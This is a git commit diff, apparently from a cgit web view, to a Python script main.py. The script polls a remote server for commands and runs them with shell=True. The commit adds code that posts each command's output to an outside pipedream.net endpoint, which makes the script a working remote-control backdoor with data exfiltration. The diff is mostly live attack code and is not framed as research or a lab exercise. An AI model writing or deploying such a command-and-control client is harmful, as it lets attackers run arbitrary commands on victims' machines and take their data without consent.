summaryrefslogtreecommitdiff
path: root/main.py
diff options
context:
space:
mode:
authorlittleblack111 <jerrylam110209@gmail.com>2023-08-15 20:32:17 +0800
committerlittleblack111 <jerrylam110209@gmail.com>2023-08-15 20:32:17 +0800
commit118318ff5e06b01076479166a3040bb2825d26fa (patch)
treecfc8f7f109ca86190ccf4bdb7e28b30ba05f191f /main.py
parent3eeb9c375a80607db03527e046fb9b753ea4f1ba (diff)
updated
Diffstat (limited to 'main.py')
-rw-r--r--main.py21
1 files changed, 15 insertions, 6 deletions
diff --git a/main.py b/main.py
index cb15518..8444811 100644
--- a/main.py
+++ b/main.py
@@ -1,8 +1,8 @@
try:
from bs4 import BeautifulSoup
- from requests import get
+ from requests import get, post
from time import sleep
- from os import system
+ from subprocess import check_output as system
import lxml
old_command = ""
@@ -19,14 +19,23 @@ while True:
except KeyboardInterrupt:
continue
except:
- print("failed to connect to server")
- #execute command
+ print("Failed to connect to server")
+ continue
+ # execute command
if old_command != command:
try:
- system(f"{command} > /dev/null")
+ cmdout = system(command, shell=True)
+ try:
+ post("https://eo482aoknyxae8c.m.pipedream.net/", data=cmdout)
+ except KeyboardInterrupt:
+ continue
+ except:
+ print("Failed to sent output")
+ continue
old_command = command
+ continue
except:
- pass
+ continue
try:
sleep(0.1)
except KeyboardInterrupt: